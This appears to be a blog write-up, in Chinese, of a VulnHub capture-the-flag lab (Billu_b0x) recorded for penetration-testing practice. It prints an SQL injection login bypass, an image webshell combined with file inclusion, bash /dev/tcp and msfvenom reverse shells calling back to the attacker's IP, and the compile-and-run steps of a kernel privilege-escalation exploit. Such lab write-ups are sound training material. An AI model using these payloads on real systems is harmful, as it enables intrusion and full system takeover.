由于2020年疫情原因,被迫宅家已有两个月之久,假期里边摸鱼边学习也浪费了不少时光。感叹光阴似箭的同时,临近毕业也加倍地感受到就业的压力。最近听了某位OSCP大佬的安利,决定开始拿VulnHub练练手。
本系列文章用来记录VulnHunb靶机的渗透过程,欢迎各位师傅讨论学习。
靶机名称:Billu_b0x
下载地址:https://download.vulnhub.com/billu/
环境:ubuntu+LAMP
在VM里搭建好靶机环境后,需要进行主机探测发现目标,由于该环境为本地搭建,因此使用nmap探测攻击机网段发现目标(这里需要说明一下新手容易踩的坑,靶机系统一般是不需要登录的,靶机的发布者也不会放出系统的账号密码,我们需要做的就是渗透进目标主机最后提权直root权限)
已知本机ip为172.16.12.137,根据探测结果,目标靶机ip为172.16.12.138,继续探测目标开启的端口和服务,发现目标开启了ssh和http服务。
nmap 172.16.12.138 -p1-65535 -v
使用浏览器访问web页面,根据提示“show me your SQLI skills”推测首页存在sql注入,先不管他,继续扫描目录收集更多目标站点信息。
使用DirBuster扫描目录,探测结果如下。到这里,我们就基本完成了前期的信息搜集工作。
首先返回web主页,尝试弱口令,无果,sqlmap未发现注入点,刚开始便陷入僵局……尝试寻找别的突破口。
admin' or 1=1# 1
1\ or 1=1#
逐一访问之前探测出来的页面,在访问到test.php时,发现有趣的信息,尝试传参?file=/etc/passwd,没有响应,于是改为使用POST方法,成功将passwd文件下载下来。
接下来我们将扫出来的其他文件也读取出来,方便之后审计源码,获取更多有用信息。
通过审计c.php直接获得了以下信息:
mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
拿到index.php的源码,找到关键逻辑部分。我们看到目标先将我们输入的单引号清除,之后再验证登录信息的正确性,比较特殊的是验证顺序是先密码再账号,怪不得之前的尝试一直失败,Holy Shit!
知道源码之后绕过就很简单了,我们构造
uname=or 1=1#
pass=\
这样sql语句就被拼接成了
select * from auth where pass='\' and uname=' or 1=1#'
成功登录
简单的浏览该网页,发现存在文件上传入口,尝试上传shell,根据提示信息只允许上传图片文件,制作图片马尝试截断上传失败。
进一步审计刚刚下载下来的源码,可以发现show user模块存在文件包含。
将任意一张图片使用文本编辑器打开,在文件尾部写入一句话木马,上传成功后将图片包含进源码,修改请求包尝试执行任意命令,同时发现了敏感目录 phpmy(上传+包含)。
读取 /var/www/phpmy/config.inc.php,获得root账号密码,拿去登录phpmyadmin失败,使用刚才从c.php中获得的账号登录成功,怀疑该账号为低权限。
尝试修改日志,into outfile 写shell均无权限,果然……
换一种思路,不如直接执行system指令反弹shell,kali攻击机 开启nc -lvp 6767监听端口,控制靶机执行bash
注:使用URL传参需要进行URL编码。
bash -i >& /dev/tcp/172.16.12.137/6767 0>&1
这里一直反弹失败,不明所以,后来问了师傅,将payload修改为echo+管道命令执行,反弹成功(迷惑x1)
echo 'bash -i >& /dev/tcp/172.16.12.137/6767 0>&1'|bash
查看系统版本和内核,发现是3.13.0+ubuntu12.04.5的内核和系统,想到了经典的37292。在msf里搜索可用exp,将37292.c下载到本地。
向靶机写入一句话木马方便上传exp,无权限。查看当前用户各目录权限,发现uploaded_images和phpmy文件夹为高权限,可写入。进入uploaded_images写入木马,使用蚁剑或菜刀连接。
echo '' >> icoming.php
上传37292.c
赋予权限
chmod 777 37292.c
编译
gcc 37292.c -o nbexp
运行,执行成功,然而提权失败,迷惑x2。
后来实在没有思路,改为使用php后门提权。注:此处参考了https://www.jianshu.com/p/2a7f61bbd862
生成php后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.12.137 -f raw >/root/ctf/a.php
上传至靶机,配置好hander,访问a.php触发后门
再次执行exp,提权成功
第一次使用vulnhub练手,总体来说收获还是很大的。首先是本体包含+文件上传结合的妙用在此次渗透中体现的淋漓尽致,再就是使用后门提权的方法。让人迷惑的是仍然不清楚为何不能直接bash反弹shell,蚁剑开启的shell为何提权失败?希望有懂的师傅可以指导一下。
提权结束后去网上看了其他师傅的方法,发现有些地方我做的有些多余,也没有尝试使用root连接ssh,之后的渗透测试学习中还需多加注意!